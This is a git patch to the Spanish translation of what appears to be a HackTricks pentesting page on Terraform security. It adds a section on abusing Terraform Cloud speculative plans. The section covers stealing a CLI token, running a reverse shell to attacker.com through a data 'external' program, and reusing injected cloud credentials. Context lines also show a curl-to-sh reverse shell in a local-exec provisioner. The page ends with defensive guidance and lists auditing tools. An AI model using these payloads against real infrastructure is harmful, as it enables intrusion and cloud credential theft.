From e01aafb4328d304c0ea01d472560be09a663a604 Mon Sep 17 00:00:00 2001 From: Translator Date: Tue, 19 Aug 2025 15:34:45 +0000 Subject: [PATCH] Translated ['src/pentesting-ci-cd/terraform-security.md'] to es --- src/pentesting-ci-cd/terraform-security.md | 120 +++++++++++++++++---- 1 file changed, 101 insertions(+), 19 deletions(-) diff --git a/src/pentesting-ci-cd/terraform-security.md b/src/pentesting-ci-cd/terraform-security.md index a161f63d7..64dc82e28 100644 --- a/src/pentesting-ci-cd/terraform-security.md +++ b/src/pentesting-ci-cd/terraform-security.md @@ -6,7 +6,7 @@ [De la documentación:](https://developer.hashicorp.com/terraform/intro) -HashiCorp Terraform es una **herramienta de infraestructura como código** que te permite definir tanto **recursos en la nube como locales** en archivos de configuración legibles por humanos que puedes versionar, reutilizar y compartir. Luego puedes usar un flujo de trabajo consistente para aprovisionar y gestionar toda tu infraestructura a lo largo de su ciclo de vida. Terraform puede gestionar componentes de bajo nivel como recursos de computación, almacenamiento y redes, así como componentes de alto nivel como entradas DNS y características de SaaS. +HashiCorp Terraform es una **herramienta de infraestructura como código** que te permite definir tanto **recursos en la nube como en local** en archivos de configuración legibles por humanos que puedes versionar, reutilizar y compartir. Luego puedes usar un flujo de trabajo consistente para aprovisionar y gestionar toda tu infraestructura a lo largo de su ciclo de vida. Terraform puede gestionar componentes de bajo nivel como recursos de computación, almacenamiento y redes, así como componentes de alto nivel como entradas DNS y características de SaaS. #### ¿Cómo funciona Terraform? @@ -14,9 +14,9 @@ Terraform crea y gestiona recursos en plataformas en la nube y otros servicios a ![](<../images/image (177).png>) -HashiCorp y la comunidad de Terraform ya han escrito **más de 1700 proveedores** para gestionar miles de tipos diferentes de recursos y servicios, y este número sigue creciendo. Puedes encontrar todos los proveedores disponibles públicamente en el [Registro de Terraform](https://registry.terraform.io/), incluyendo Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog y muchos más. +HashiCorp y la comunidad de Terraform ya han escrito **más de 1700 proveedores** para gestionar miles de diferentes tipos de recursos y servicios, y este número sigue creciendo. Puedes encontrar todos los proveedores disponibles públicamente en el [Registro de Terraform](https://registry.terraform.io/), incluyendo Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog, y muchos más. -El flujo de trabajo central de Terraform consta de tres etapas: +El flujo de trabajo central de Terraform consiste en tres etapas: - **Escribir:** Defines recursos, que pueden estar en múltiples proveedores y servicios en la nube. Por ejemplo, podrías crear una configuración para desplegar una aplicación en máquinas virtuales en una red de Nube Privada Virtual (VPC) con grupos de seguridad y un balanceador de carga. - **Planificar:** Terraform crea un plan de ejecución que describe la infraestructura que creará, actualizará o destruirá en función de la infraestructura existente y tu configuración. @@ -34,9 +34,9 @@ Aquí tienes una [guía](https://learn.hashicorp.com/tutorials/terraform/install Terraform **no tiene una plataforma que exponga una página web o un servicio de red** que podamos enumerar, por lo tanto, la única forma de comprometer terraform es **poder agregar/modificar archivos de configuración de terraform** o **poder modificar el archivo de estado de terraform** (ver capítulo a continuación). -Sin embargo, terraform es un **componente muy sensible** de comprometer porque tendrá **acceso privilegiado** a diferentes ubicaciones para que pueda funcionar correctamente. +Sin embargo, terraform es un **componente muy sensible** a comprometer porque tendrá **acceso privilegiado** a diferentes ubicaciones para que funcione correctamente. -La principal forma en que un atacante puede comprometer el sistema donde se está ejecutando terraform es **comprometer el repositorio que almacena las configuraciones de terraform**, porque en algún momento van a ser **interpretadas**. +La principal forma para que un atacante pueda comprometer el sistema donde se está ejecutando terraform es **comprometer el repositorio que almacena las configuraciones de terraform**, porque en algún momento van a ser **interpretadas**. De hecho, hay soluciones que **ejecutan terraform plan/apply automáticamente después de que se crea un PR**, como **Atlantis**: @@ -44,7 +44,7 @@ De hecho, hay soluciones que **ejecutan terraform plan/apply automáticamente de atlantis-security.md {{#endref}} -Si puedes comprometer un archivo de terraform, hay diferentes formas en que puedes realizar RCE cuando alguien ejecuta `terraform plan` o `terraform apply`. +Si puedes comprometer un archivo de terraform, hay diferentes maneras en las que puedes realizar RCE cuando alguien ejecuta `terraform plan` o `terraform apply`. ### Terraform plan @@ -95,7 +95,7 @@ Puedes encontrar el código de rev shell en [https://github.com/carlospolop/terr ### Terraform Apply -Se ejecutará Terraform apply para aplicar todos los cambios, también puedes abusar de esto para obtener RCE inyectando **un archivo de Terraform malicioso con** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\ +Terraform apply se ejecutará para aplicar todos los cambios, también puedes abusar de él para obtener RCE inyectando **un archivo de Terraform malicioso con** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\ Solo necesitas asegurarte de que alguna carga útil como las siguientes termine en el archivo `main.tf`: ```json // Payload 1 to just steal a secret @@ -114,9 +114,9 @@ command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'" ``` Sigue las **sugerencias de la técnica anterior** para realizar este ataque de una **manera más sigilosa utilizando referencias externas**. -## Extracción de secretos +## Secrets Dumps -Puedes tener **valores secretos utilizados por terraform extraídos** ejecutando `terraform apply` al agregar al archivo de terraform algo como: +Puedes tener **valores secretos utilizados por terraform volcados** ejecutando `terraform apply` al agregar al archivo de terraform algo como: ```json output "dotoken" { value = nonsensitive(var.do_token) @@ -130,7 +130,7 @@ En caso de que tengas acceso de escritura sobre los archivos de estado de terraf Es posible [crear un proveedor personalizado](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) y simplemente reemplazar uno de los proveedores en el archivo de estado de terraform por el malicioso o agregar un recurso falso que haga referencia al proveedor malicioso. -El proveedor [statefile-rce](https://registry.terraform.io/providers/offensive-actions/statefile-rce/latest) se basa en la investigación y arma este principio. Puedes agregar un recurso falso y declarar el comando bash arbitrario que deseas ejecutar en el atributo `command`. Cuando se activa la ejecución de `terraform`, esto será leído y ejecutado tanto en los pasos de `terraform plan` como en `terraform apply`. En el caso del paso `terraform apply`, `terraform` eliminará el recurso falso del archivo de estado después de ejecutar tu comando, limpiando después de sí mismo. Más información y una demostración completa se pueden encontrar en el [repositorio de GitHub que alberga el código fuente para este proveedor](https://github.com/offensive-actions/terraform-provider-statefile-rce). +El proveedor [statefile-rce](https://registry.terraform.io/providers/offensive-actions/statefile-rce/latest) se basa en la investigación y arma este principio. Puedes agregar un recurso falso y declarar el comando bash arbitrario que deseas ejecutar en el atributo `command`. Cuando se activa la ejecución de `terraform`, esto será leído y ejecutado tanto en los pasos de `terraform plan` como en `terraform apply`. En el caso del paso `terraform apply`, `terraform` eliminará el recurso falso del archivo de estado después de ejecutar tu comando, limpiando después de sí mismo. Más información y una demostración completa se pueden encontrar en el [repositorio de GitHub que aloja el código fuente para este proveedor](https://github.com/offensive-actions/terraform-provider-statefile-rce). Para usarlo directamente, simplemente incluye lo siguiente en cualquier posición del array `resources` y personaliza los atributos `name` y `command`: ```json @@ -176,13 +176,13 @@ Porque terraform verá que el recurso no debería existir, lo destruirá (siguie ] }, ``` -2. **Modificar el recurso para eliminarlo de manera que no sea posible actualizarlo (así será eliminado y recreado)** +2. **Modifique el recurso para eliminarlo de manera que no sea posible actualizarlo (así será eliminado y recreado)** Para una instancia EC2, modificar el tipo de la instancia es suficiente para que terraform la elimine y la recree. -### Reemplazar proveedor en la lista negra +### Reemplace el proveedor en la lista negra -En caso de que te encuentres en una situación donde `hashicorp/external` fue puesto en la lista negra, puedes re-implementar el proveedor `external` haciendo lo siguiente. Nota: Usamos un fork del proveedor external publicado por https://registry.terraform.io/providers/nazarewk/external/latest. También puedes publicar tu propio fork o re-implementación. +En caso de que se encuentre en una situación donde `hashicorp/external` esté en la lista negra, puede reimplementar el proveedor `external` haciendo lo siguiente. Nota: Usamos un fork del proveedor external publicado por https://registry.terraform.io/providers/nazarewk/external/latest. También puede publicar su propio fork o reimplementación. ```terraform terraform { required_providers { @@ -199,7 +199,81 @@ data "external" "example" { program = ["sh", "-c", "whoami"] } ``` -## Herramientas de Auditoría Automáticas +## Terraform Cloud speculative plan RCE y exfiltración de credenciales + +Este escenario abusa de los runners de Terraform Cloud (TFC) durante los planes especulativos para pivotar en la cuenta de nube objetivo. + +- Precondiciones: +- Robar un token de Terraform Cloud de una máquina de desarrollador. La CLI almacena tokens en texto plano en `~/.terraform.d/credentials.tfrc.json`. +- El token debe tener acceso a la organización/espacio de trabajo objetivo y al menos el permiso de `plan`. Los espacios de trabajo respaldados por VCS bloquean `apply` desde la CLI, pero aún permiten planes especulativos. + +- Descubrir la configuración del espacio de trabajo y VCS a través de la API de TFC: +```bash +export TF_TOKEN= +curl -s -H "Authorization: Bearer $TF_TOKEN" \ +https://app.terraform.io/api/v2/organizations//workspaces/ | jq +``` +- Disparar la ejecución de código durante un plan especulativo utilizando la fuente de datos externa y el bloque "cloud" de Terraform Cloud para dirigirse al espacio de trabajo respaldado por VCS: +```hcl +terraform { +cloud { +organization = "acmecorp" +workspaces { name = "gcp-infra-prod" } +} +} + +data "external" "exec" { +program = ["bash", "./rsync.sh"] +} +``` +Ejemplo de rsync.sh para obtener un shell reverso en el corredor de TFC: +```bash +#!/usr/bin/env bash +bash -c 'exec bash -i >& /dev/tcp/attacker.com/19863 0>&1' +``` +Ejecuta un plan especulativo para ejecutar el programa en el corredor efímero: +```bash +terraform init +terraform plan +``` +- Enumerar y exfiltrar credenciales de nube inyectadas del runner. Durante las ejecuciones, TFC inyecta credenciales del proveedor a través de archivos y variables de entorno: +```bash +env | grep -i gcp || true +env | grep -i aws || true +``` +Archivos esperados en el directorio de trabajo del runner: +- GCP: +- `tfc-google-application-credentials` (configuración JSON de Federación de Identidad de Carga de Trabajo) +- `tfc-gcp-token` (token de acceso GCP de corta duración) +- AWS: +- `tfc-aws-shared-config` (configuración de asunción de rol de identidad web/OIDC) +- `tfc-aws-token` (token de corta duración; algunas organizaciones pueden usar claves estáticas) + +- Utiliza las credenciales de corta duración fuera de banda para eludir las puertas de enlace VCS: + +GCP (gcloud): +```bash +export GOOGLE_APPLICATION_CREDENTIALS=./tfc-google-application-credentials +gcloud auth login --cred-file="$GOOGLE_APPLICATION_CREDENTIALS" +gcloud config set project +``` +AWS (AWS CLI): +```bash +export AWS_CONFIG_FILE=./tfc-aws-shared-config +export AWS_PROFILE=default +aws sts get-caller-identity +``` +Con estas credenciales, los atacantes pueden crear/modificar/destruir recursos directamente utilizando CLIs nativas, eludiendo flujos de trabajo basados en PR que bloquean `apply` a través de VCS. + +- Orientación defensiva: +- Aplique el principio de menor privilegio a los usuarios/equipos y tokens de TFC. Audite las membresías y evite propietarios sobredimensionados. +- Restringa el permiso de `plan` en espacios de trabajo respaldados por VCS sensibles cuando sea posible. +- Haga cumplir listas de permitidos de proveedores/fuentes de datos con políticas de Sentinel para bloquear `data "external"` o proveedores desconocidos. Consulte la orientación de HashiCorp sobre filtrado de proveedores. +- Prefiera OIDC/WIF sobre credenciales de nube estáticas; trate a los runners como sensibles. Monitoree las ejecuciones de planes especulativos y el egreso inesperado. +- Detecte la exfiltración de artefactos de credenciales `tfc-*` y alerte sobre el uso sospechoso de programas `external` durante los planes. + + +## Herramientas de Auditoría Automática ### [**Snyk Infrastructure as Code (IaC)**](https://snyk.io/product/infrastructure-as-code-security/) @@ -208,7 +282,7 @@ Snyk ofrece una solución integral de escaneo de Infrastructure as Code (IaC) qu - **Características:** - Escaneo en tiempo real para vulnerabilidades de seguridad y problemas de cumplimiento. - Integración con sistemas de control de versiones (GitHub, GitLab, Bitbucket). -- Solicitudes de extracción para correcciones automáticas. +- Solicitudes de extracción de corrección automatizadas. - Consejos detallados de remediación. - **Regístrate:** Crea una cuenta en [Snyk](https://snyk.io/). ```bash @@ -223,18 +297,18 @@ snyk iac test /path/to/terraform/code Escanea la infraestructura en la nube provisionada utilizando [Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md) o [OpenTofu](https://opentofu.org/) y detecta configuraciones incorrectas de seguridad y cumplimiento utilizando escaneo basado en gráficos. -Realiza [Software Composition Analysis (SCA) scanning](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md), que es un escaneo de paquetes y imágenes de código abierto en busca de Vulnerabilidades y Exposiciones Comunes (CVEs). +Realiza [Software Composition Analysis (SCA) scanning](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md), que es un escaneo de paquetes de código abierto e imágenes para Vulnerabilidades y Exposiciones Comunes (CVEs). ```bash pip install checkov checkov -d /path/to/folder ``` ### [terraform-compliance](https://github.com/terraform-compliance/cli) -Desde la [**docs**](https://github.com/terraform-compliance/cli): `terraform-compliance` es un marco de prueba ligero, enfocado en seguridad y cumplimiento, contra terraform para habilitar la capacidad de pruebas negativas para tu infraestructura como código. +Desde la [**documentación**](https://github.com/terraform-compliance/cli): `terraform-compliance` es un marco de prueba ligero, enfocado en seguridad y cumplimiento, contra terraform para habilitar la capacidad de pruebas negativas para tu infraestructura como código. - **cumplimiento:** Asegúrate de que el código implementado siga los estándares de seguridad, tus propios estándares personalizados. - **desarrollo guiado por comportamiento:** Tenemos BDD para casi todo, ¿por qué no para IaC? -- **portátil:** solo instálalo desde `pip` o ejecútalo a través de `docker`. Ver [Instalación](https://terraform-compliance.com/pages/installation/) +- **portátil:** solo instálalo desde `pip` o ejecútalo a través de `docker`. Consulta [Instalación](https://terraform-compliance.com/pages/installation/) - **pre-despliegue:** valida tu código antes de que se despliegue. - **fácil de integrar:** puede ejecutarse en tu pipeline (o en ganchos de git) para asegurar que todos los despliegues sean validados. - **segregación de deberes:** puedes mantener tus pruebas en un repositorio diferente donde un equipo separado sea responsable. @@ -254,7 +328,7 @@ Desde la [**docs**](https://github.com/aquasecurity/tfsec): tfsec utiliza análi - ⛔ Cientos de reglas integradas - 🪆 Escanea módulos (locales y remotos) - ➕ Evalúa expresiones HCL así como valores literales -- ↪️ Evalúa funciones de Terraform e.g. `concat()` +- ↪️ Evalúa funciones de Terraform, por ejemplo, `concat()` - 🔗 Evalúa relaciones entre recursos de Terraform - 🧰 Compatible con el Terraform CDK - 🙅 Aplica (y embellece) políticas Rego definidas por el usuario @@ -292,5 +366,13 @@ brew install terrascan - [https://developer.hashicorp.com/terraform/intro](https://developer.hashicorp.com/terraform/intro) - [https://blog.plerion.com/hacking-terraform-state-privilege-escalation/](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) - [https://github.com/offensive-actions/terraform-provider-statefile-rce](https://github.com/offensive-actions/terraform-provider-statefile-rce) +- [Terraform Cloud token abuse turns speculative plan into remote code execution](https://www.pentestpartners.com/security-blog/terraform-token-abuse-speculative-plan/) +- [Terraform Cloud permissions](https://developer.hashicorp.com/terraform/cloud-docs/users-teams-organizations/permissions) +- [Terraform Cloud API – Show workspace](https://developer.hashicorp.com/terraform/cloud-docs/api-docs/workspaces#show-workspace) +- [AWS provider configuration](https://registry.terraform.io/providers/hashicorp/aws/latest/docs#provider-configuration) +- [AWS CLI – OIDC role assumption](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html#cli-configure-role-oidc) +- [GCP provider – Using Terraform Cloud](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference.html#using-terraform-cloud) +- [Terraform – Sensitive variables](https://developer.hashicorp.com/terraform/tutorials/configuration-language/sensitive-variables) +- [Snyk Labs – Gitflops: dangers of Terraform automation platforms](https://labs.snyk.io/resources/gitflops-dangers-of-terraform-automation-platforms/) {{#include ../banners/hacktricks-training.md}}